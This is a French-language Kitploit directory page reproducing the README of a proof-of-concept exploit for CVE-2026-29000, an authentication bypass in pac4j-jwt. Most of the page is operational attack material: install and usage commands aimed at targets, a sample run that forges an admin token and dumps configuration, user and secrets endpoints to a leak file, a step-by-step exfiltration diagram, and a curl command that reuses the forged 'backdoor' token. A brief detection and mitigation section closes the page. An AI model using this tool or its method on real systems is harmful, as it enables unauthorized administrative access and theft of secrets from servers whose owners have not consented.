Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-29000-PoC-Exploit — CVE-2026-29000 – Contournement d'authentification pac4j-jwt (🔥 CVSS 10.0). Forge d'admin en un clic via enveloppement JWE avec clé publique. Fuite de configurations, utilisateurs, secrets. Keep-alive, proxy, JWKS personnalisé.⚙️ Outil de preuve de concept éducatif. | Kitploit
Outils/GitHubGitHub/tc4dy/cve-2026-29000-poc-exploit
Authentification et AutorisationGénération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionApprentissage et ÉducationRed Teaming

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubtc4dy/cve-2026-29000-poc-exploit

CVE-2026-29000-PoC-Exploit

CVE-2026-29000 – Contournement d'authentification pac4j-jwt (🔥 CVSS 10.0). Forge d'admin en un clic via enveloppement JWE avec clé publique. Fuite de configurations, utilisateurs, secrets. Keep-alive, proxy, JWKS personnalisé.⚙️ Outil de preuve de concept éducatif.

Voir le dépôt
3il y a 2 moisPas encore vérifié

🚀 CVE-2026-29000 - Exploit de contournement d'authentification pac4j-jwt

Python CVSS License Pentesting

CVE-2026-29000 - Forge Admin en un clic via JWT alg:none + chiffrement JWE

📌 Présentation

Cet exploit exploite CVE-2026-29000, une vulnérabilité critique CVSS 10.0 dans la bibliothèque pac4j-jwt. En extrayant la clé publique JWKS du serveur et en forgeant un jeton JWE chiffré avec alg: none, il permet un contournement complet de l'authentification et accorde les privilèges administrateur en un clic.

🔥 Fonctionnalités clés

  • ✅ Aucune authentification requise - Exploitation pré-authentification, aucune information d'identification valide nécessaire
  • ✅ Découverte automatique de JWKS - Scanne 15+ points de terminaison, prise en charge de chemins personnalisés
  • ✅ Extraction de clé RSA - Récupère la clé publique, convertit JWK→PEM à la volée
  • ✅ Forge JWT + JWE - Crée un JWT alg:none, l'enveloppe avec la propre clé publique du serveur
  • ✅ Jeton administrateur complet - ROLE_ADMIN, admin:true, expiration configurable
  • ✅ Contournement d'authentification - Teste automatiquement 8+ points de terminaison protégés
  • ✅ Fuites d'informations intelligentes - Énumère 20+ chemins API sensibles
  • ✅ Persistance de session - Thread de maintien d'activité pour conserver l'accès
  • ✅ Support proxy - Proxy HTTP/HTTPS pour l'anonymat
  • ✅ Export de fichier - Sauvegarde du jeton forgé et des données divulguées dans des fichiers
  • ✅ Mécanisme de réessai - Réessais configurables pour connexions instables
  • ✅ Sortie colorée - Retour visuel professionnel par étape
  • ✅ Mode verbeux - Journalisation de débogage pour le dépannage
  • ✅ Pas de délais codés en dur - Uniquement backoff de réessai et pings de maintien d'activité

🎯 Versions vulnérables

BibliothèqueVersions affectéesVersions corrigées
pac4j-jwt< 5.1.5≥ 5.1.5
pac4j-jwt4.x < 4.5.8≥ 4.5.8
pac4j-jwt3.x < 3.18.6≥ 3.18.6

⚠️ Avertissement : Cet outil est destiné aux tests de sécurité autorisés et aux engagements d'équipe rouge uniquement.

📦 Installation

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help

requirements.txt:
text

requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6

🚀 Utilisation
Exploit de base en un coup
bash

python exploit.py --target https://victim.com:8443

Sauvegarder le jeton forgé + les données divulguées
bash

python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt

Mode verbeux avec JWKS personnalisé
bash

python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v

Avec proxy et sans maintien d'activité
bash

python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive

Intervalle de maintien d'activité personnalisé
bash

python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5

Vérification SSL activée
bash

python exploit.py -t https://legit.com:8443 --ssl-verify

⚙️ Arguments de ligne de commande
Argument	Abréviation	Requis	Défaut	Description
--target	-t	Oui	-	URL cible (ex. https://example.com:8443)
--jwks	-k	Non	détection auto	Chemin personnalisé du point de terminaison JWKS
--output	-o	Non	Aucun	Sauvegarder le jeton JWE forgé dans un fichier
--leak	-l	Non	leaked_TIMESTAMP.txt	Sauvegarder les données divulguées dans un fichier
--verbose	-v	Non	False	Activer les sorties de débogage
--proxy	-p	Non	Aucun	Proxy HTTP/HTTPS
--user-agent	-ua	Non	Mozilla/5.0...	User-Agent personnalisé
--no-keep-alive	-	Non	False	Désactiver le maintien d'activité de session
--delay	-	Non	5.0	Intervalle de ping de maintien d'activité (secondes)
--max-retries	-	Non	3	Nombre maximum de réessais par requête échouée
--ssl-verify	-	Non	False	Vérifier les certificats SSL
📸 Exemple de sortie
text

$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt

╔══════════════════════════════════════════════════════════════════════════════╗
║     CVE-2026-29000 - Exploit de contournement d'authentification pac4j-jwt ║
║                    La Forge Admin en un clic éducative                      ║
║                            CVSS 10.0 - CRITIQUE                             ║
╚══════════════════════════════════════════════════════════════════════════════╝

[11:23:15] ÉTAPE 1 : Acquisition de la clé publique RSA depuis JWKS
[11:23:15] Recherche du point de terminaison JWKS...
[11:23:16] JWKS trouvé sur /realms/master/protocol/openid-connect/certs
[11:23:16] Clé publique RSA extraite avec succès

[11:23:16] ÉTAPE 2 : Création du JWT avec alg:none & chiffrement en JWE
[11:23:16] Jeton JWE forgé (tronqué) : eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0...
[11:23:16] ✓ Jeton sauvegardé dans backdoor.jwe

[11:23:16] ÉTAPE 3 : Envoi du JWE forgé comme jeton Bearer
[11:23:17] ✓ Authentification réussie ! Accès accordé à /api/users/me

[11:23:17] ÉTAPE 4 : Énumération des points de terminaison accessibles et révélation de données sensibles
[11:23:18] ✓ Divulgué : /actuator/env (statut 200)
[11:23:18] ✓ Divulgué : /api/users (statut 200)
[11:23:18] ✓ Divulgué : /api/secrets (statut 200)
[11:23:18] ✓ Divulgué : /config/server (statut 200)
[11:23:18] ✓ 4 points de terminaison sensibles capturés → sauvegardés dans leak.txt

[11:23:18] Session de maintien d'activité active (Ctrl+C pour arrêter)
[11:23:18] Jeton (JWE) valide ~1 heure – refaire un forge si expiré

🧠 Comment ça fonctionne
text

┌─────────────────────────────────────────────────────────────────┐
│  ÉTAPE 1 : Acquisition de la clé publique                       │
│  ├── Découvrir le point de terminaison JWKS (15+ chemins connus)│
│  ├── Récupérer la JWK contenant la clé publique RSA             │
│  └── Convertir JWK → format PEM                                 │
├─────────────────────────────────────────────────────────────────┤
│  ÉTAPE 2 : Forge du jeton                                       │
│  ├── Créer un JWT avec alg: "none"                              │
│  ├── Injecter des revendications admin (ROLE_ADMIN, admin: true)│
│  └── Chiffrer le JWT en JWE en utilisant la clé publique du serveur│
├─────────────────────────────────────────────────────────────────┤
│  ÉTAPE 3 : Contournement d'authentification                    │
│  ├── Envoyer le JWE comme jeton Bearer                          │
│  ├── Tester 8+ points de terminaison protégés                   │
│  └── Extraire le cookie de session                              │
├─────────────────────────────────────────────────────────────────┤
│  ÉTAPE 4 : Exfiltration d'informations                          │
│  ├── Énumérer 20+ chemins API sensibles                         │
│  ├── Collecter configurations, utilisateurs, secrets, environnement│
│  └── Tout sauvegarder dans le fichier de fuite                  │
├─────────────────────────────────────────────────────────────────┤
│  Maintien d'activité : Ping /api/ping toutes les N secondes     │
└─────────────────────────────────────────────────────────────────┘

🔧 Utilisation manuelle du jeton

Après l'exploitation, utilisez le jeton JWE sauvegardé avec curl :
bash

curl -H "Authorization: Bearer $(cat backdoor.jwe)" https://target.com/api/admin/users

🛡️ Détection et atténuation
Méthode de détection	Indicateur
Analyse des journaux	JWT avec alg: none dans les journaux d'audit
Surveillance réseau	Requêtes de point de terminaison JWKS depuis des IP inconnues
Vérification de version	curl /actuator/info | grep pac4j

Atténuation :

    Mettre à jour pac4j-jwt vers les versions corrigées (≥5.1.5, ≥4.5.8, ≥3.18.6)

    Désactiver le support de alg: none dans le validateur JWT

    Implémenter une validation stricte des JWE

    Surveiller les structures JWT anormales
Télécharger l’outil